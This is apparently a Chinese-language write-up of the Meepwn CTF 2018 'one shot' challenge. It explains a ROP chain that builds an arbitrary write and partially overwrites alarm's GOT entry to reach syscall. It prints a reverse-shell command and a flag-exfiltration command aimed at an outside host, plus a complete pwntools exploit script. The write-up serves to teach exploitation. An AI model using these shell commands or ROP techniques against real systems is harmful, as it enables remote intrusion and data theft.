ROP + 反弹shell
Meepwn CTF 2018 -- one shot分析
题目分析
主函数逻辑
可以看到主函数中主要做了三件事:
读入用户输入(存在栈溢出)
关闭标准输入、标准输出、标准错误流(这样我们就无法和程序正常交互了)
执行check函数,如果check通过就正常返回;如果不通过,就直接退出。
check逻辑
check检查你的输入的前4位是否是0x8a919ff0
,因此我们后面写payload的时候需要先写这四个字节。
保护情况
仅仅开启了栈不可执行保护,可以ROP攻击。
难点
没有标准输出
就算我们能够通过某些骚操作让程序成功执行了shell命令,但是由于我们不能和程序交互,所以我们得不到命令执行的结果。
只有一次向程序输入的机会
因为程序关闭了stdin、stdout和stderr,这使得我们在第一次输入之后就和程序失去了联系,这将带来以下问题:
无法知道任何动态加载的地址(如libc库函数地址和堆、栈地址),这使得常规ROP无法使用
无法传入字符串参数,如
/bin/bash
,因为没有库函数(比如write,memcpy)的帮助,不能实现任意地址写。无法从libc中获取现成的
/bin/sh
参数
这也是这题为什么叫one shot的原因:)
解决方案
难点1 解决方案
难点1比较好解决,可以用shell命令反弹shell到自己的外网主机:
如命令/bin/bash -c \"bash -i >& /dev/tcp/1.1.1.1/9999 0>&1\"
也可以直接将flag发回自己的外网主机:
如命令/bin/bash -c \"cat /home/one_shot/flag|nc 1.1.1.1 9999\"
至于上面的flag的目录,可以通过经验猜测,也可以通过其他题目得到的shell中的文件命名规则来推理。
难点2解决方案
我们之前分析过,我们无法得到这个程序在远程机器上的任何动态加载的地址,这就意味着我们虽然能够控制程序的执行流,但是却不知道该控制它往哪里执行,因为想要执行一个系统命令,比较广泛使用的有以下技巧:
修改某个函数的got.plt使其指向
system
函数的libc地址,并通过ROP传入适当的参数,最后调用这个函数,就能通过system执行系统命令通过ROP布置好
eax,rdi,rsi,rdx
的值,然后通过直接调用syscall
来执行系统命令。
就目前的分析来看,我们无法做到上面的任何一点,但是通过深入分析程序,可以发现此题并非无解。
-
构造任意地址写
在OpenToAll战队的题解中,使用了一个巧妙的方法来构造任意地址写,我们回过头来看
check
函数,但是这次我们直接看它的汇编代码:
可以看到在0x400684~0x40069f
这段代码,将rdi
存储的地址中的值依次复制到rsi
寄存器存储的地址中,复制的长度为eax
中存储的值,并且这个函数一直到执行结束都没有对栈底的修改操作,因此这个函数执行完,我们还是可以继续ROP。那么我们通过ROP来控制rdi、rsi以及eax的值,就能够实现任意地址写。
-
写入字符串参数
程序中当然不会有我们想要的反弹shell的命令,因此我们需要通过那唯一的一次输入来写入我们要执行的命令,但是我们知道这次输入是存储在栈上的,而栈地址是我们不可知的,那么我们现在要做的就是将栈上的数据转移到一个我们知道的地址中去。
这也是一个很难发现的点,但是人家就是发现了orz。仔细观察开篇处的
check
函数,可以看到这个函数的第一个参数是&buf
即一个栈地址,存储在rdi
中,且在这个函数返回时,rdi的值存储的是buf+4
。而
main
函数中,在check
返回之后也并没有对rdi
做任何修改,因此得到一个重要的结论:main
函数返回时,rdi
存储的就是存有我们输入的栈地址值。因此我们通过ROP来布置
rsi,eax
的值之后,就可以用上一步构造的任意地址写来将我们的输入复制到一个我们知道的可写的地址,这个地址的获得可以在本地调试一下这个程序,找到一个用户空间中的可写地址即可,如下图:
0x601000~0x602000
都是可读可写的,我们从中随意取一个地址来用即可。
-
获取syscall
解决了传参的问题,现在要解决最关键的问题:找到
syscall
的地址通过上面的分析,我们并不知道syscall的地址,但是可以通过覆盖
alarm
函数的got.plt
表的最后一字节来实现:- 题目是给了目标系统的
libc
的,我们来看看alarm
在该系统库中的实现:
- 题目是给了目标系统的
看到这个函数中就有syscall,接下来想办法使用这个syscall即可。
我们知道,在Linux操作系统中,加载基址是页对齐的(4K),因此尽管libc的加载基址随机,其最后12位也一定是全0。因此libc中的函数的最后三个字节在不同的系统上都是相同的,我们假设libc加载基址是
0xffff00000
则这个alarm
函数的运行时地址就是0xffffb8140
,这个地址会通过延迟绑定,被写入到got.plt
表中,而如果在这个地址被写入got.plt
之后,我们修改got.plt
的对应表项的最后一字节为0x45
,那么这个got.plt实际上存储的是0xffffb8145
就是syscall
的地址。接下来我们对
alarm
的调用都变成了对syscall
的调用。
克服了上面的两个难点,接下来就是正常的ROP了,通过上面的分析,我们需要能够实现以下功能的gadget:
给eax赋值
给rdi赋值
给rsi赋值
我使用的gatget都已经在exp的注释中标明。
需要注意的地方
调用syscall来执行execve
时,需要往rdx
寄存器中存储一个指向null
的指针,否则不能正常执行。这里有个trick:通过跳转到puts
的plt表来调用puts函数,可以达到上述效果。(经过跟踪流程发现,具体的清空rdx的操作并不是在puts函数中完成,而是在plt跳转后的dl_resolve
过程中的dl_fixup
函数中完成,又测试了另一个需要dlresolve解析的库函数exit,也能清空rdx =。=)
exp
from pwn import *
libc = ELF("./libc-2.24.so")
io = process("./one_shot",env={"LD_PRELOAD":"./libc-2.24.so"})
copy_function_addr = 0x400684
pop_rdi_ret = 0x400843
pop_rsi_r15_ret = 0x400841
alarm_got = 0x0601020
alarm_plt = 0x0400520
set_eax = 0x04006F7# mov eax, dword ptr [rbp - 0xc]; pop rbx; pop rbp; ret;
set_rbp = 0x4005c0 #pop rbp; ret;
writeable_addr =0x601600 # bss start
len_addr = 0x4002D0 #contains 0x1
random_writeable_addr = 0x601100 # junk addr for rbp
puts_plt = 0x400510
#writeable_addr contains command string "/bin/sh -c echo "hello world" | nc 127.0.0.1 1337"
#["/bin/sh","-c","echo 'hello world' | nc 127.0.0.1 1337"]
payload = p32(0x8A919FF0) + p32(0x3b)
payload += "/bin/sh\x00-c\x00echo 'hello world'|nc 127.0.0.1 1337\x00"
cmdLen = len(payload)
payload += p64(writeable_addr + 4)
payload+= p64(writeable_addr + 4 + 8)#point to -c
payload += p64(writeable_addr + 4 + 8 + 3)#point to echo....
payload = payload.ljust(0x88,"A")
payload += p64(set_rbp)
#now rdi is pointed to the stack buf addr,set rsi and eax
payload += p64(0x400220 + 0x0c)#0x0400368 contains 0x208
payload += p64(set_eax)
payload += "junkjunk"#rbx
payload += p64(random_writeable_addr)#rbp
payload += p64(pop_rsi_r15_ret)
payload += p64(writeable_addr)
payload += "junkjunk" #r15
#copy 0x208 bytes from stack buf to writeable address
payload += p64(copy_function_addr)
payload += "junkjunk"#rbx
payload += p64(random_writeable_addr)#rbp
#set rbp to the len address + 0x0c
payload += p64(set_rbp)
payload += p64(len_addr+0x0c)
#mov eax,dword ptr[rpb - 0x0c]
payload += p64(set_eax)
payload += "junkjunk"# rbx
payload += p64(random_writeable_addr)# rbp
#set rdi,rsi
payload += p64(pop_rdi_ret)
payload += p64(0x4009CB)#contains 0x45
payload += p64(pop_rsi_r15_ret)
payload += p64(alarm_got)
payload += "junkjunk" # r15
# copy 0x45 to the last byte of alarm_got,pointing to syscall
# so we can use alarm as syscall
payload += p64(copy_function_addr)
payload += "junkjunk"#rbx
payload += p64(random_writeable_addr) # rbp
payload += p64(puts_plt)# to set rdx to null
#set eax to 0x3b (execve's syscall number)
payload += p64(set_rbp)
payload += p64(writeable_addr + 0x0c) #store 0x3b(dw)
payload += p64(set_eax)
payload += "junkjunk" #rbx
payload += p64(random_writeable_addr)#rbp
#set rdi and rsi to cat flag
payload += p64(pop_rsi_r15_ret)
payload += p64(writeable_addr + cmdLen - 4)
payload += "junkjunk"#r15
payload += p64(pop_rdi_ret)
payload += p64(writeable_addr + 4)# start of /bin/sh
payload += p64(alarm_plt) #syscall,get flag!
io.sendline(payload)
sleep(10)
心得体会
在x64下使用ROP需要密切关注寄存器的操作,本题中的任意地址写其实不难发现,不要过于依赖工具和F5。
在无法泄露地址的情况下,应该往修改低字节的方向思考,说不定会有启发。
细心。。。那个buf的地址真是挺难发现的。
在关闭了出入输出流的情况下,可以用反弹shell绕过。
其他方法
ret2dlresolve(正在研究六星战队的wp)
srop(更麻烦)